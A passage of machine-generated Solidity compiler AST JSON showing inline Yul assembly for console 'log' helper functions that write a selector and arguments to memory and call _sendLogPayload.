kind":"number","nativeSrc":"31962:1:22","nodeType":"YulLiteral","src":"31962:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"31950:3:22","nodeType":"YulIdentifier","src":"31950:3:22"},"nativeSrc":"31950:14:22","nodeType":"YulFunctionCall","src":"31950:14:22"},"variableNames":[{"name":"length","nativeSrc":"31940:6:22","nodeType":"YulIdentifier","src":"31940:6:22"}]}]},"pre":{"nativeSrc":"31918:2:22","nodeType":"YulBlock","src":"31918:2:22","statements":[]},"src":"31914:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"32031:3:22","nodeType":"YulIdentifier","src":"32031:3:22"},{"name":"length","nativeSrc":"32036:6:22","nodeType":"YulIdentifier","src":"32036:6:22"}],"functionName":{"name":"mstore","nativeSrc":"32024:6:22","nodeType":"YulIdentifier","src":"32024:6:22"},"nativeSrc":"32024:19:22","nodeType":"YulFunctionCall","src":"32024:19:22"},"nativeSrc":"32024:19:22","nodeType":"YulExpressionStatement","src":"32024:19:22"},{"nativeSrc":"32060:37:22","nodeType":"YulVariableDeclaration","src":"32060:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"32077:3:22","nodeType":"YulLiteral","src":"32077:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"32086:1:22","nodeType":"YulLiteral","src":"32086:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"32089:6:22","nodeType":"YulIdentifier","src":"32089:6:22"}],"functionName":{"name":"shl","nativeSrc":"32082:3:22","nodeType":"YulIdentifier","src":"32082:3:22"},"nativeSrc":"32082:14:22","nodeType":"YulFunctionCall","src":"32082:14:22"}],"functionName":{"name":"sub","nativeSrc":"32073:3:22","nodeType":"YulIdentifier","src":"32073:3:22"},"nativeSrc":"32073:24:22","nodeType":"YulFunctionCall","src":"32073:24:22"},"variables":[{"name":"shift","nativeSrc":"32064:5:22","nodeType":"YulTypedName","src":"32064:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"32125:3:22","nodeType":"YulIdentifier","src":"32125:3:22"},{"kind":"number","nativeSrc":"32130:4:22","nodeType":"YulLiteral","src":"32130:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"32121:3:22","nodeType":"YulIdentifier","src":"32121:3:22"},"nativeSrc":"32121:14:22","nodeType":"YulFunctionCall","src":"32121:14:22"},{"arguments":[{"name":"shift","nativeSrc":"32141:5:22","nodeType":"YulIdentifier","src":"32141:5:22"},{"arguments":[{"name":"shift","nativeSrc":"32152:5:22","nodeType":"YulIdentifier","src":"32152:5:22"},{"name":"w","nativeSrc":"32159:1:22","nodeType":"YulIdentifier","src":"32159:1:22"}],"functionName":{"name":"shr","nativeSrc":"32148:3:22","nodeType":"YulIdentifier","src":"32148:3:22"},"nativeSrc":"32148:13:22","nodeType":"YulFunctionCall","src":"32148:13:22"}],"functionName":{"name":"shl","nativeSrc":"32137:3:22","nodeType":"YulIdentifier","src":"32137:3:22"},"nativeSrc":"32137:25:22","nodeType":"YulFunctionCall","src":"32137:25:22"}],"functionName":{"name":"mstore","nativeSrc":"32114:6:22","nodeType":"YulIdentifier","src":"32114:6:22"},"nativeSrc":"32114:49:22","nodeType":"YulFunctionCall","src":"32114:49:22"},"nativeSrc":"32114:49:22","nodeType":"YulExpressionStatement","src":"32114:49:22"}]},"name":"writeString","nativeSrc":"31835:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"31856:3:22","nodeType":"YulTypedName","src":"31856:3:22","type":""},{"name":"w","nativeSrc":"31861:1:22","nodeType":"YulTypedName","src":"31861:1:22","type":""}],"src":"31835:342:22"},{"nativeSrc":"32190:17:22","nodeType":"YulAssignment","src":"32190:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"32202:4:22","nodeType":"YulLiteral","src":"32202:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"32196:5:22","nodeType":"YulIdentifier","src":"32196:5:22"},"nativeSrc":"32196:11:22","nodeType":"YulFunctionCall","src":"32196:11:22"},"variableNames":[{"name":"m0","nativeSrc":"32190:2:22","nodeType":"YulIdentifier","src":"32190:2:22"}]},{"nativeSrc":"32220:17:22","nodeType":"YulAssignment","src":"32220:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"32232:4:22","nodeType":"YulLiteral","src":"32232:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"32226:5:22","nodeType":"YulIdentifier","src":"32226:5:22"},"nativeSrc":"32226:11:22","nodeType":"YulFunctionCall","src":"32226:11:22"},"variableNames":[{"name":"m1","nativeSrc":"32220:2:22","nodeType":"YulIdentifier","src":"32220:2:22"}]},{"nativeSrc":"32250:17:22","nodeType":"YulAssignment","src":"32250:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"32262:4:22","nodeType":"YulLiteral","src":"32262:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"32256:5:22","nodeType":"YulIdentifier","src":"32256:5:22"},"nativeSrc":"32256:11:22","nodeType":"YulFunctionCall","src":"32256:11:22"},"variableNames":[{"name":"m2","nativeSrc":"32250:2:22","nodeType":"YulIdentifier","src":"32250:2:22"}]},{"nativeSrc":"32280:17:22","nodeType":"YulAssignment","src":"32280:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"32292:4:22","nodeType":"YulLiteral","src":"32292:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"32286:5:22","nodeType":"YulIdentifier","src":"32286:5:22"},"nativeSrc":"32286:11:22","nodeType":"YulFunctionCall","src":"32286:11:22"},"variableNames":[{"name":"m3","nativeSrc":"32280:2:22","nodeType":"YulIdentifier","src":"32280:2:22"}]},{"nativeSrc":"32310:17:22","nodeType":"YulAssignment","src":"32310:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"32322:4:22","nodeType":"YulLiteral","src":"32322:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"32316:5:22","nodeType":"YulIdentifier","src":"32316:5:22"},"nativeSrc":"32316:11:22","nodeType":"YulFunctionCall","src":"32316:11:22"},"variableNames":[{"name":"m4","nativeSrc":"32310:2:22","nodeType":"YulIdentifier","src":"32310:2:22"}]},{"nativeSrc":"32340:17:22","nodeType":"YulAssignment","src":"32340:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"32352:4:22","nodeType":"YulLiteral","src":"32352:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"32346:5:22","nodeType":"YulIdentifier","src":"32346:5:22"},"nativeSrc":"32346:11:22","nodeType":"YulFunctionCall","src":"32346:11:22"},"variableNames":[{"name":"m5","nativeSrc":"32340:2:22","nodeType":"YulIdentifier","src":"32340:2:22"}]},{"nativeSrc":"32370:17:22","nodeType":"YulAssignment","src":"32370:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"32382:4:22","nodeType":"YulLiteral","src":"32382:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"32376:5:22","nodeType":"YulIdentifier","src":"32376:5:22"},"nativeSrc":"32376:11:22","nodeType":"YulFunctionCall","src":"32376:11:22"},"variableNames":[{"name":"m6","nativeSrc":"32370:2:22","nodeType":"YulIdentifier","src":"32370:2:22"}]},{"nativeSrc":"32400:17:22","nodeType":"YulAssignment","src":"32400:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"32412:4:22","nodeType":"YulLiteral","src":"32412:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"32406:5:22","nodeType":"YulIdentifier","src":"32406:5:22"},"nativeSrc":"32406:11:22","nodeType":"YulFunctionCall","src":"32406:11:22"},"variableNames":[{"name":"m7","nativeSrc":"32400:2:22","nodeType":"YulIdentifier","src":"32400:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"32494:4:22","nodeType":"YulLiteral","src":"32494:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"32500:10:22","nodeType":"YulLiteral","src":"32500:10:22","type":"","value":"0xfb772265"}],"functionName":{"name":"mstore","nativeSrc":"32487:6:22","nodeType":"YulIdentifier","src":"32487:6:22"},"nativeSrc":"32487:24:22","nodeType":"YulFunctionCall","src":"32487:24:22"},"nativeSrc":"32487:24:22","nodeType":"YulExpressionStatement","src":"32487:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"32531:4:22","nodeType":"YulLiteral","src":"32531:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"32537:2:22","nodeType":"YulIdentifier","src":"32537:2:22"}],"functionName":{"name":"mstore","nativeSrc":"32524:6:22","nodeType":"YulIdentifier","src":"32524:6:22"},"nativeSrc":"32524:16:22","nodeType":"YulFunctionCall","src":"32524:16:22"},"nativeSrc":"32524:16:22","nodeType":"YulExpressionStatement","src":"32524:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"32560:4:22","nodeType":"YulLiteral","src":"32560:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"32566:4:22","nodeType":"YulLiteral","src":"32566:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"32553:6:22","nodeType":"YulIdentifier","src":"32553:6:22"},"nativeSrc":"32553:18:22","nodeType":"YulFunctionCall","src":"32553:18:22"},"nativeSrc":"32553:18:22","nodeType":"YulExpressionStatement","src":"32553:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"32591:4:22","nodeType":"YulLiteral","src":"32591:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"32597:4:22","nodeType":"YulLiteral","src":"32597:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mstore","nativeSrc":"32584:6:22","nodeType":"YulIdentifier","src":"32584:6:22"},"nativeSrc":"32584:18:22","nodeType":"YulFunctionCall","src":"32584:18:22"},"nativeSrc":"32584:18:22","nodeType":"YulExpressionStatement","src":"32584:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"32627:4:22","nodeType":"YulLiteral","src":"32627:4:22","type":"","value":"0x80"},{"name":"p1","nativeSrc":"32633:2:22","nodeType":"YulIdentifier","src":"32633:2:22"}],"functionName":{"name":"writeString","nativeSrc":"32615:11:22","nodeType":"YulIdentifier","src":"32615:11:22"},"nativeSrc":"32615:21:22","nodeType":"YulFunctionCall","src":"32615:21:22"},"nativeSrc":"32615:21:22","nodeType":"YulExpressionStatement","src":"32615:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"32661:4:22","nodeType":"YulLiteral","src":"32661:4:22","type":"","value":"0xc0"},{"name":"p2","nativeSrc":"32667:2:22","nodeType":"YulIdentifier","src":"32667:2:22"}],"functionName":{"name":"writeString","nativeSrc":"32649:11:22","nodeType":"YulIdentifier","src":"32649:11:22"},"nativeSrc":"32649:21:22","nodeType":"YulFunctionCall","src":"32649:21:22"},"nativeSrc":"32649:21:22","nodeType":"YulExpressionStatement","src":"32649:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34683,"isOffset":false,"isSlot":false,"src":"32190:2:22","valueSize":1},{"declaration":34686,"isOffset":false,"isSlot":false,"src":"32220:2:22","valueSize":1},{"declaration":34689,"isOffset":false,"isSlot":false,"src":"32250:2:22","valueSize":1},{"declaration":34692,"isOffset":false,"isSlot":false,"src":"32280:2:22","valueSize":1},{"declaration":34695,"isOffset":false,"isSlot":false,"src":"32310:2:22","valueSize":1},{"declaration":34698,"isOffset":false,"isSlot":false,"src":"32340:2:22","valueSize":1},{"declaration":34701,"isOffset":false,"isSlot":false,"src":"32370:2:22","valueSize":1},{"declaration":34704,"isOffset":false,"isSlot":false,"src":"32400:2:22","valueSize":1},{"declaration":34675,"isOffset":false,"isSlot":false,"src":"32537:2:22","valueSize":1},{"declaration":34677,"isOffset":false,"isSlot":false,"src":"32633:2:22","valueSize":1},{"declaration":34679,"isOffset":false,"isSlot":false,"src":"32667:2:22","valueSize":1}],"id":34706,"nodeType":"InlineAssembly","src":"31812:868:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":34708,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"32705:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786534","id":34709,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"32711:4:22","typeDescriptions":{"typeIdentifier":"t_rational_228_by_1","typeString":"int_const 228"},"value":"0xe4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_228_by_1","typeString":"int_const 228"}],"id":34707,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"32689:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":34710,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"32689:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":34711,"nodeType":"ExpressionStatement","src":"32689:27:22"},{"AST":{"nativeSrc":"32735:243:22","nodeType":"YulBlock","src":"32735:243:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"32756:4:22","nodeType":"YulLiteral","src":"32756:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"32762:2:22","nodeType":"YulIdentifier","src":"32762:2:22"}],"functionName":{"name":"mstore","nativeSrc":"32749:6:22","nodeType":"YulIdentifier","src":"32749:6:22"},"nativeSrc":"32749:16:22","nodeType":"YulFunctionCall","src":"32749:16:22"},"nativeSrc":"32749:16:22","nodeType":"YulExpressionStatement","src":"32749:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"32785:4:22","nodeType":"YulLiteral","src":"32785:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"32791:2:22","nodeType":"YulIdentifier","src":"32791:2:22"}],"functionName":{"name":"mstore","nativeSrc":"32778:6:22","nodeType":"YulIdentifier","src":"32778:6:22"},"nativeSrc":"32778:16:22","nodeType":"YulFunctionCall","src":"32778:16:22"},"nativeSrc":"32778:16:22","nodeType":"YulExpressionStatement","src":"32778:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"32814:4:22","nodeType":"YulLiteral","src":"32814:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"32820:2:22","nodeType":"YulIdentifier","src":"32820:2:22"}],"functionName":{"name":"mstore","nativeSrc":"32807:6:22","nodeType":"YulIdentifier","src":"32807:6:22"},"nativeSrc":"32807:16:22","nodeType":"YulFunctionCall","src":"32807:16:22"},"nativeSrc":"32807:16:22","nodeType":"YulExpressionStatement","src":"32807:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"32843:4:22","nodeType":"YulLiteral","src":"32843:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"32849:2:22","nodeType":"YulIdentifier","src":"32849:2:22"}],"functionName":{"name":"mstore","nativeSrc":"32836:6:22","nodeType":"YulIdentifier","src":"32836:6:22"},"nativeSrc":"32836:16:22","nodeType":"YulFunctionCall","src":"32836:16:22"},"nativeSrc":"32836:16:22","nodeType":"YulExpressionStatement","src":"32836:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"32872:4:22","nodeType":"YulLiteral","src":"32872:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"32878:2:22","nodeType":"YulIdentifier","src":"32878:2:22"}],"functionName":{"name":"mstore","nativeSrc":"32865:6:22","nodeType":"YulIdentifier","src":"32865:6:22"},"nativeSrc":"32865:16:22","nodeType":"YulFunctionCall","src":"32865:16:22"},"nativeSrc":"32865:16:22","nodeType":"YulExpressionStatement","src":"32865:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"32901:4:22","nodeType":"YulLiteral","src":"32901:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"32907:2:22","nodeType":"YulIdentifier","src":"32907:2:22"}],"functionName":{"name":"mstore","nativeSrc":"32894:6:22","nodeType":"YulIdentifier","src":"32894:6:22"},"nativeSrc":"32894:16:22","nodeType":"YulFunctionCall","src":"32894:16:22"},"nativeSrc":"32894:16:22","nodeType":"YulExpressionStatement","src":"32894:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"32930:4:22","nodeType":"YulLiteral","src":"32930:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"32936:2:22","nodeType":"YulIdentifier","src":"32936:2:22"}],"functionName":{"name":"mstore","nativeSrc":"32923:6:22","nodeType":"YulIdentifier","src":"32923:6:22"},"nativeSrc":"32923:16:22","nodeType":"YulFunctionCall","src":"32923:16:22"},"nativeSrc":"32923:16:22","nodeType":"YulExpressionStatement","src":"32923:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"32959:4:22","nodeType":"YulLiteral","src":"32959:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"32965:2:22","nodeType":"YulIdentifier","src":"32965:2:22"}],"functionName":{"name":"mstore","nativeSrc":"32952:6:22","nodeType":"YulIdentifier","src":"32952:6:22"},"nativeSrc":"32952:16:22","nodeType":"YulFunctionCall","src":"32952:16:22"},"nativeSrc":"32952:16:22","nodeType":"YulExpressionStatement","src":"32952:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34683,"isOffset":false,"isSlot":false,"src":"32762:2:22","valueSize":1},{"declaration":34686,"isOffset":false,"isSlot":false,"src":"32791:2:22","valueSize":1},{"declaration":34689,"isOffset":false,"isSlot":false,"src":"32820:2:22","valueSize":1},{"declaration":34692,"isOffset":false,"isSlot":false,"src":"32849:2:22","valueSize":1},{"declaration":34695,"isOffset":false,"isSlot":false,"src":"32878:2:22","valueSize":1},{"declaration":34698,"isOffset":false,"isSlot":false,"src":"32907:2:22","valueSize":1},{"declaration":34701,"isOffset":false,"isSlot":false,"src":"32936:2:22","valueSize":1},{"declaration":34704,"isOffset":false,"isSlot":false,"src":"32965:2:22","valueSize":1}],"id":34712,"nodeType":"InlineAssembly","src":"32726:252:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"31588:3:22","parameters":{"id":34680,"nodeType":"ParameterList","parameters":[{"constant":false,"id":34675,"mutability":"mutable","name":"p0","nameLocation":"31600:2:22","nodeType":"VariableDeclaration","scope":34714,"src":"31592:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":34674,"name":"address","nodeType":"ElementaryTypeName","src":"31592:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":34677,"mutability":"mutable","name":"p1","nameLocation":"31612:2:22","nodeType":"VariableDeclaration","scope":34714,"src":"31604:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34676,"name":"bytes32","nodeType":"ElementaryTypeName","src":"31604:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":34679,"mutability":"mutable","name":"p2","nameLocation":"31624:2:22","nodeType":"VariableDeclaration","scope":34714,"src":"31616:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34678,"name":"bytes32","nodeType":"ElementaryTypeName","src":"31616:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"31591:36:22"},"returnParameters":{"id":34681,"nodeType":"ParameterList","parameters":[],"src":"31642:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":34743,"nodeType":"FunctionDefinition","src":"32990:658:22","nodes":[],"body":{"id":34742,"nodeType":"Block","src":"33050:598:22","nodes":[],"statements":[{"assignments":[34724],"declarations":[{"constant":false,"id":34724,"mutability":"mutable","name":"m0","nameLocation":"33068:2:22","nodeType":"VariableDeclaration","scope":34742,"src":"33060:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34723,"name":"bytes32","nodeType":"ElementaryTypeName","src":"33060:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34725,"nodeType":"VariableDeclarationStatement","src":"33060:10:22"},{"assignments":[34727],"declarations":[{"constant":false,"id":34727,"mutability":"mutable","name":"m1","nameLocation":"33088:2:22","nodeType":"VariableDeclaration","scope":34742,"src":"33080:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34726,"name":"bytes32","nodeType":"ElementaryTypeName","src":"33080:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34728,"nodeType":"VariableDeclarationStatement","src":"33080:10:22"},{"assignments":[34730],"declarations":[{"constant":false,"id":34730,"mutability":"mutable","name":"m2","nameLocation":"33108:2:22","nodeType":"VariableDeclaration","scope":34742,"src":"33100:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34729,"name":"bytes32","nodeType":"ElementaryTypeName","src":"33100:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34731,"nodeType":"VariableDeclarationStatement","src":"33100:10:22"},{"assignments":[34733],"declarations":[{"constant":false,"id":34733,"mutability":"mutable","name":"m3","nameLocation":"33128:2:22","nodeType":"VariableDeclaration","scope":34742,"src":"33120:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":34732,"name":"bytes32","nodeType":"ElementaryTypeName","src":"33120:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":34734,"nodeType":"VariableDeclarationStatement","src":"33120:10:22"},{"AST":{"nativeSrc":"33149:311:22","nodeType":"YulBlock","src":"33149:311:22","statements":[{"nativeSrc":"33163:17:22","nodeType":"YulAssignment","src":"33163:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"33175:4:22","nodeType":"YulLiteral","src":"33175:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"33169:5:22","nodeType":"YulIdentifier","src":"33169:5:22"},"nativeSrc":"33169:11:22","nodeType":"YulFunctionCall","src":"33169:11:22"},"variableNames":[{"name":"m0","nativeSrc":"33163:2:22","nodeType":"YulIdentifier","src":"33163:2:22"}]},{"nativeSrc":"33193:17:22","nodeType":"YulAssignment","src":"33193:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"33205:4:22","nodeType":"YulLiteral","src":"33205:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"33199:5:22","nodeType":"YulIdentifier","src":"33199:5:22"},"nativeSrc":"33199:11:22","nodeType":"YulFunctionCall","src":"33199:11:22"},"variableNames":[{"name":"m1","nativeSrc":"33193:2:22","nodeType":"YulIdentifier","src":"33193:2:22"}]},{"nativeSrc":"33223:17:22","nodeType":"YulAssignment","src":"33223:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"33235:4:22","nodeType":"YulLiteral","src":"33235:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"33229:5:22","nodeType":"YulIdentifier","src":"33229:5:22"},"nativeSrc":"33229:11:22","nodeType":"YulFunctionCall","src":"33229:11:22"},"variableNames":[{"name":"m2","nativeSrc":"33223:2:22","nodeType":"YulIdentifier","src":"33223:2:22"}]},{"nativeSrc":"33253:17:22","nodeType":"YulAssignment","src":"33253:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"33265:4:22","nodeType":"YulLiteral","src":"33265:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"33259:5:22","nodeType":"YulIdentifier","src":"33259:5:22"},"nativeSrc":"33259:11:22","nodeType":"YulFunctionCall","src":"33259:11:22"},"variableNames":[{"name":"m3","nativeSrc":"33253:2:22","nodeType":"YulIdentifier","src":"33253:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"33346:4:22","nodeType":"YulLiteral","src":"33346:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"33352:10:22","nodeType":"YulLiteral","src":"33352:10:22","type":"","value":"0xd2763667"}],"functionName":{"name":"mstore","nativeSrc":"33339:6:22","nodeType":"YulIdentifier","src":"33339:6:22"},"nativeSrc":"33339:24:22","nodeType":"YulFunctionCall","src":"33339:24:22"},"nativeSrc":"33339:24:22","nodeType":"YulExpressionStatement","src":"33339:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"33383:4:22","nodeType":"YulLiteral","src":"33383:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"33389:2:22","nodeType":"YulIdentifier","src":"33389:2:22"}],"functionName":{"name":"mstore","nativeSrc":"33376:6:22","nodeType":"YulIdentifier","src":"33376:6:22"},"nativeSrc":"33376:16:22","nodeType":"YulFunctionCall","src":"33376:16:22"},"nativeSrc":"33376:16:22","nodeType":"YulExpressionStatement","src":"33376:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"33412:4:22","nodeType":"YulLiteral","src":"33412:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"33418:2:22","nodeType":"YulIdentifier","src":"33418:2:22"}],"functionName":{"name":"mstore","nativeSrc":"33405:6:22","nodeType":"YulIdentifier","src":"33405:6:22"},"nativeSrc":"33405:16:22","nodeType":"YulFunctionCall","src":"33405:16:22"},"nativeSrc":"33405:16:22","nodeType":"YulExpressionStatement","src":"33405:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"33441:4:22","nodeType":"YulLiteral","src":"33441:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"33447:2:22","nodeType":"YulIdentifier","src":"33447:2:22"}],"functionName":{"name":"mstore","nativeSrc":"33434:6:22","nodeType":"YulIdentifier","src":"33434:6:22"},"nativeSrc":"33434:16:22","nodeType":"YulFunctionCall","src":"33434:16:22"},"nativeSrc":"33434:16:22","nodeType":"YulExpressionStatement","src":"33434:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":34724,"isOffset":false,"isSlot":false,"src":"33163:2:22","valueSize":1},{"declaration":34727,"isOffset":false,"isSlot":false,"src":"33193:2:22","valueSize":1},{"declaration":34730,"isOffset":false,"isSlot":false,"src":"33223:2:22","valueSize":1},{"declaration":34733,"isOffset":false,"isSlot":false,"src":"33253:2:22","valueSize":1},{"declaration":34716,"isOffset":false,"isSlot":false,"src":"33389:2:22","valueSize":1},{"declaration":34718,"isOffset":false,"isSlot":false,"src":"33418:2:22","valueSize":1},{"declaration":34720,"isOffset":false,"isSlot":false,"src":"33447:2:22","valueSize":1}],"id":34735,"nodeType":"InlineAssembly","src":"33140:320:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":34737,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"33485:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30783634","id":34738,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"33491:4:22","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"0x64"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"id":34736,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"33469:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":34739,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"33469:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":34740,"nodeType":"ExpressionStatement","src":"33469:27:22"},{"AST":{"nativeSrc":"33515:127:22","nodeType":"YulBlock","src":"33515:127:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"33536:4:22","nodeType":"YulLiteral","src":"33536:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"33542:2:22","nodeType":"YulIdentifier","src":"33542:2:22"}],"functionName":{"name":"mstore","nativeSrc":"33529:6:22","nodeType":"YulIdentifier","src":"33529:6:22"},"nativeSrc":"33529:16:22","nodeType":"YulFunctionCall","src":"33529:16:22"},"nativeSrc":"33529:16:22","nodeType":"YulExpressionStatement","src":"33529:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"33565:4:22","nodeType":"YulLiteral","src":"33565:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"33571:2:22","nodeType":"YulIdentifier","src":"33571:2:22"}],"functionName":{"name":"mstore","nativeSrc":"33558:6:22","nodeType":"YulIdentifier","src":"33558:6:22"},"nativeSrc":"33558:16:22","nodeType":"YulFunctionCall","src":"33558:16:22"},"nativeSrc":"33558:16:22","nodeType":"YulExpressionStatement","src":"33558:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"33594:4:22","nodeType":"YulL